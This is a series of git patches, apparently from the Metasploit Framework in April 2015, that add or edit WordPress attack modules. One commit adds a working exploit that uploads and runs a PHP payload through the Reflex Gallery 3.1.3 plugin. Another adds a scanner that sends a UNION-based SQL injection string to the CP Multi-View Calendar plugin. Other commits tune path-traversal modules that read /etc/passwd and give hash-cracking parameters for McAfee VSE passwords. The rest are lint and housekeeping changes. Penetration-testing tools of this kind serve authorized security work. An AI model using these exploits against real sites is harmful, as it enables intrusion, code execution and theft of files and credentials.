{}) + super(update_info(info, + 'Name' => 'Wordpress Reflex Gallery Upload Vulnerability', + 'Description' => %q{ + This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery + version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution. + }, + 'Author' => + [ + 'TO DO', # Vulnerability discovery + 'Roberto Soares Espreto ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB', '00000'], + ['OSVDB', '000000'], + ['WPVDB', '0000'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Reflex Gallery 3.1.3', {}]], + 'DisclosureDate' => 'Oct 22 2014', + 'DefaultTarget' => 0) + ) + end + + def check + check_plugin_version_from_readme('reflex-gallery', '3.1.3') + end + + def exploit + php_pagename = rand_text_alpha(8 + rand(8)) + '.php' + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"") + post_data = data.to_s + + time = Time.new + year = time.year.to_s + month = "%02d" % time.month + + res = send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'), + 'method' => 'POST', + 'vars_get' => { + 'Year' => "#{year}", + 'Month' => "#{month}" + }, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + + if res + if res.code == 200 && res.body =~ /success|#{php_pagename}/ + print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") + register_files_for_cleanup(php_pagename) + else + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + end + else + fail_with('ERROR') + end + + print_status("#{peer} - Calling payload...") + send_request_cgi( + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename) + ) + end +end From dc7f1613392234a056eac4c8f35632600836bdfa Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 08:56:33 -0300 Subject: [PATCH 35/92] Add author, EDB, OSVDB and WPVDB. --- .../unix/webapp/wp_reflexgallery_file_upload.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb index d27f0ebe54..4ada2ed18e 100644 --- a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb @@ -20,21 +20,21 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'TO DO', # Vulnerability discovery + 'Unknown', # Vulnerability discovery 'Roberto Soares Espreto ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ - ['EDB', '00000'], - ['OSVDB', '000000'], - ['WPVDB', '0000'] + ['EDB', '36374'], + ['OSVDB', '88853'], + ['WPVDB', '7867'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Reflex Gallery 3.1.3', {}]], - 'DisclosureDate' => 'Oct 22 2014', + 'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date. 'DefaultTarget' => 0) ) end From b90ff36ef4065b05332a754eafd6773e842d8a77 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 09:15:17 -0300 Subject: [PATCH 36/92] Rewriting the condition 'if' for only one line --- modules/auxiliary/scanner/http/wp_dukapress_file_read.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index 27436dee6b..2d9488a6f5 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -56,9 +56,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if res && - res.code == 200 && - res.body.length > 0 + if res && res.code == 200 && res.body.length > 0 print_status('Downloading file...') print_line("\n#{res.body}") From 890561bff3a339d84e3703e5973baeddc9c8e090 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 09:23:56 -0300 Subject: [PATCH 37/92] Rewriting the condition 'if' for only one line --- modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index 014dfb2867..b524ef6506 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -54,9 +54,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if res && - res.code == 200 && - res.body.length > 0 + if res && res.code == 200 && res.body.length > 0 print_status('Downloading file...') print_line("\n#{res.body}\n") From 768294710b58f456788d376583701bc96bbf2dcc Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 10:22:10 -0300 Subject: [PATCH 38/92] Add check and removed HttpClient --- modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index b524ef6506..fd8ab97b53 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient include Msf::HTTP::Wordpress include Msf::Auxiliary::Scanner @@ -40,6 +39,10 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def check + check_plugin_version_from_readme('wp-mobile-edition', '2.3') + end + def run_host(ip) traversal = "../" * datastore['DEPTH'] filename = datastore['FILEPATH'] From 4629b1551c353537c2127ca4f781d1c73274eac1 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 16 Apr 2015 08:28:31 -0500 Subject: [PATCH 39/92] Update to redcarpet 3.2.3 MSP-12565 Version 3.2.3 fixes a XSS via parse_line (OSVDB-120415). --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 029b4c3c34..74c9644622 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -177,7 +177,7 @@ GEM json (~> 1.4) recog (1.0.27) nokogiri - redcarpet (3.1.2) + redcarpet (3.2.3) rkelly-remix (0.0.6) robots (0.10.1) rspec (2.99.0) From 6ef074cd2864b9c660ee0e5c7dc58af3a1567898 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 10:34:34 -0300 Subject: [PATCH 40/92] Fix the correct version in check --- modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb index 4ada2ed18e..368e9e905e 100644 --- a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - check_plugin_version_from_readme('reflex-gallery', '3.1.3') + check_plugin_version_from_readme('reflex-gallery', '3.1.4') end def exploit From d898af5513a2ecd1be9ca815eb5a1ca4ccc7dbd1 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 10:40:35 -0300 Subject: [PATCH 41/92] Add check version and removed HttpClient --- modules/auxiliary/scanner/http/wp_dukapress_file_read.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index 2d9488a6f5..f06556de89 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient include Msf::HTTP::Wordpress include Msf::Auxiliary::Scanner @@ -42,6 +41,9 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def check + check_plugin_from_readme('dukapress', '2.5.7') + end def run_host(ip) traversal = "../" * datastore['DEPTH'] filename = datastore['FILEPATH'] From ecc67b1a5773db216b69777d33b284069f39bd85 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 10:42:20 -0300 Subject: [PATCH 42/92] Fix loot name --- modules/auxiliary/scanner/http/wp_dukapress_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index f06556de89..f3fd206719 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary fname = datastore['FILEPATH'] path = store_loot( - 'mobileedition.traversal', + 'dukapress.file', 'text/plain', ip, res.body, From 517ad54617691e3db936306052de5786b48fc3bf Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 10:56:43 -0300 Subject: [PATCH 43/92] Fix the correct version in check. --- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index eadb60b1b6..6902867c4b 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - check_plugin_version_from_readme('slideshow-gallery', '1.4.6') + check_plugin_version_from_readme('slideshow-gallery', '1.4.7') end def exploit From 75b88f199a7f9a18dc2c577205efc24f3e7a7e04 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 16 Apr 2015 09:53:00 -0500 Subject: [PATCH 44/92] Create wordpress_cp_calendar_sqli.rb --- .../http/wordpress_cp_calendar_sqli.rb | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb diff --git a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb new file mode 100644 index 0000000000..339458280d --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb @@ -0,0 +1,74 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner', + 'Description' => %q{ + This module will scan given instances for an unauthenticated SQL injection + within the CP Multi-View Calendar plugin v1.1.4 for Wordpress. + }, + 'Author' => + [ + 'Joaquin Ramirez Martinez', #discovery + 'bperry' #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '36243'] + ], + 'DisclosureDate' => 'Mar 03 2015')) + + register_options([ + OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/']) + ], self.class) + end + + def run_host(ip) + right_marker = Rex::Text.rand_text_alpha(5) + left_marker = Rex::Text.rand_text_alpha(5) + flag = Rex::Text.rand_text_alpha(5) + + vprint_status("#{peer} - Checking host") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/'), + 'vars_get' => { + 'action' => 'data_management', + 'cpmvc_do_action' => 'mvparse', + 'f' => 'edit', + 'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" + } + }) + + unless res && res.body + vprint_error("#{peer} - Server did not respond in an expected way") + return + end + + result = res.body =~ /#{left_marker}#{flag}#{right_marker}/ + + if result + print_good("#{peer} - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress", + :refs => self.references.select { |ref| ref.ctx_val == "36243" } + }) + end + end +end From 4469fcd9e82af6cd49afade90ce63e92eca2ed8d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 16 Apr 2015 20:04:08 +0200 Subject: [PATCH 45/92] add fail_with error --- tools/msftidy.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index e0b69e2fa8..ea679a74a2 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -544,6 +544,10 @@ class Msftidy if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/ warn("Please use snake case on method names: #{ln}", idx) end + + if ln =~ /fail_with\(['"].+['"]\)/ + error("fail_with requires a Failure:: reason as first parameter: #{ln}", idx) + end end end From fa506ef0460ded43812b15a830c983fd9a801f70 Mon Sep 17 00:00:00 2001 From: joev Date: Thu, 16 Apr 2015 13:28:00 -0500 Subject: [PATCH 46/92] Add bsd payloads to payloads_spec. --- spec/modules/payloads_spec.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index cbcecc41e1..687da75612 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -286,6 +286,26 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x64/exec' end + context 'bsd/x64/shell_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_reverse_tcp' + end + + context 'bsd/x64/shell_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_bind_tcp' + end + context 'bsdi/x86/shell/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 46d53a216f54b40b02e8f530ce12f18809250525 Mon Sep 17 00:00:00 2001 From: joev Date: Thu, 16 Apr 2015 13:28:40 -0500 Subject: [PATCH 47/92] Alphabetize the specs. --- spec/modules/payloads_spec.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 687da75612..50e2885709 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -286,16 +286,6 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x64/exec' end - context 'bsd/x64/shell_reverse_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/shell_reverse_tcp' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/shell_reverse_tcp' - end - context 'bsd/x64/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -306,6 +296,16 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x64/shell_bind_tcp' end + context 'bsd/x64/shell_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_reverse_tcp' + end + context 'bsdi/x86/shell/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From af277195f55a754dd7de3d8b5bebb7ff78497f94 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 16 Apr 2015 21:43:47 +0200 Subject: [PATCH 48/92] check for valid values --- tools/msftidy.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index ea679a74a2..9e6a75e4e1 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -545,9 +545,14 @@ class Msftidy warn("Please use snake case on method names: #{ln}", idx) end - if ln =~ /fail_with\(['"].+['"]\)/ - error("fail_with requires a Failure:: reason as first parameter: #{ln}", idx) + if ln =~ /fail_with\(/ + if ln =~ /fail_with\(['"].+['"]\)/ + error("fail_with requires a Failure:: reason as first parameter: #{ln}", idx) + elsif ln !~ /fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),\s*['"].+['"]\)/ + error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) + end end + end end From 0815791feea15206f4b3cc84d723ed6b8057c638 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 16 Apr 2015 21:48:16 +0200 Subject: [PATCH 49/92] fix regex --- tools/msftidy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 9e6a75e4e1..85c8f4d71f 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -548,7 +548,7 @@ class Msftidy if ln =~ /fail_with\(/ if ln =~ /fail_with\(['"].+['"]\)/ error("fail_with requires a Failure:: reason as first parameter: #{ln}", idx) - elsif ln !~ /fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),\s*['"].+['"]\)/ + elsif ln !~ /fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),.+\)/ error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) end end From 40f6b086c2758e00a14fd9611678dda4a59bc528 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 16 Apr 2015 21:51:31 +0200 Subject: [PATCH 50/92] fix regex --- tools/msftidy.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 85c8f4d71f..bd160a8ebe 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -545,10 +545,10 @@ class Msftidy warn("Please use snake case on method names: #{ln}", idx) end - if ln =~ /fail_with\(/ - if ln =~ /fail_with\(['"].+['"]\)/ + if ln =~ /^\s*fail_with\(/ + if ln =~ /^\s*fail_with\(['"].+['"]\)/ error("fail_with requires a Failure:: reason as first parameter: #{ln}", idx) - elsif ln !~ /fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),.+\)/ + elsif ln !~ /^\s*fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),.+\)/ error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) end end From cb2e8f494940ca0e416326316b7c6584bb29c7d1 Mon Sep 17 00:00:00 2001 From: karllll Date: Thu, 16 Apr 2015 16:09:43 -0400 Subject: [PATCH 51/92] Update mcafee_vse_hashdump description The description of this module has been added upon to include cracking details. --- .../post/windows/gather/credentials/mcafee_vse_hashdump.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb index 818fdf2361..6a33a35ba9 100644 --- a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb +++ b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb @@ -20,8 +20,11 @@ class Metasploit3 < Msf::Post info, 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', 'Description' => %q( - This module extracts the password hash from McAfee Virus Scan - Enterprise (VSE) used to lock down the user interface. + This module extracts the password hash from McAfee Virus Scan Enterprise (VSE) + used to lock down the user interface. Hashcat supports cracking this type of + hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt + (--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic + format is available for John the Ripper at the referenced URL. ), 'License' => MSF_LICENSE, 'Author' => [ From 213832512946608afa7bbffebd5f452f30073773 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 17:15:24 -0300 Subject: [PATCH 52/92] Add Failure:: symbol to fail_with --- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 6902867c4b..911a94d9d6 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -103,10 +103,10 @@ class Metasploit3 < Msf::Exploit::Remote if res.code == 200 register_files_for_cleanup(filename) else - fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else - fail_with('ERROR') + fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling uploaded file #{filename}") From f50cedeafd2765b60a658d69d6c1561b5dc2be93 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 17:22:49 -0300 Subject: [PATCH 53/92] Changed the depth value to 7. --- modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index fd8ab97b53..3d427aabae 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), - OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) ], self.class) end From dd474757fe992e61200ba027848cae8391cbc42a Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 17:26:44 -0300 Subject: [PATCH 54/92] Changed the print_error output. --- modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index 3d427aabae..6fc74b4976 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - File saved in: #{path}") else - print_error("#{peer} - Nothing was downloaded") + print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.") end end end From bf3bdcffb4c4f4e4d6bed90d8f1bc49fc8566186 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 17:30:28 -0300 Subject: [PATCH 55/92] Changed the deph value to 7. --- modules/auxiliary/scanner/http/wp_dukapress_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index f3fd206719..c86a707ee2 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), - OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) ], self.class) end From ed588e335b430e3877c684563b44b3eb00d16639 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 17:32:59 -0300 Subject: [PATCH 56/92] Changed the print_error output. --- modules/auxiliary/scanner/http/wp_dukapress_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index c86a707ee2..95d88ecc57 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - File saved in: #{path}") else - print_error("#{peer} - Nothing was downloaded") + print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.") end end end From 33cf2f157893ebcd1749acca2faec03c654244c0 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 16 Apr 2015 17:40:25 -0300 Subject: [PATCH 57/92] Added Faliure:: symbol to fail_with --- modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb index 368e9e905e..e18acea1b1 100644 --- a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb @@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else - fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else - fail_with('ERROR') + fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling payload...") From 832487cad784c01f57684b162b6563204ea41433 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 16 Apr 2015 18:00:08 -0500 Subject: [PATCH 58/92] Consolidate on one check and fix false positives --- tools/msftidy.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index bd160a8ebe..824db783a9 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -546,9 +546,7 @@ class Msftidy end if ln =~ /^\s*fail_with\(/ - if ln =~ /^\s*fail_with\(['"].+['"]\)/ - error("fail_with requires a Failure:: reason as first parameter: #{ln}", idx) - elsif ln !~ /^\s*fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),.+\)/ + unless ln =~ /^\s*fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/ error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) end end From 18225780da34a2cbdffe314c9f3b796f8d52895b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sun, 12 Apr 2015 23:12:30 -0500 Subject: [PATCH 59/92] cleanup HTTP and HTTPS listeners when sessions are closed Rather than listening forever after a session shuts down, close the session if there are no other URI's registered on the listener. This allows reconfiguring the listener without restarting framework, but should be safe for situations where multiple modules share the same listener. --- lib/msf/core/handler/reverse_http.rb | 4 +++- lib/rex/post/meterpreter/packet_dispatcher.rb | 5 +++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f2655dccdd..17e5e5f4f0 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -165,7 +165,9 @@ module ReverseHttp def stop_handler if self.service self.service.remove_resource("/") - Rex::ServiceManager.stop_service(self.service) if self.sessions == 0 + if self.service.resources.empty? && self.sessions == 0 + Rex::ServiceManager.stop_service(self.service) + end end end diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 76d6aee678..ffe850bd50 100644 --- 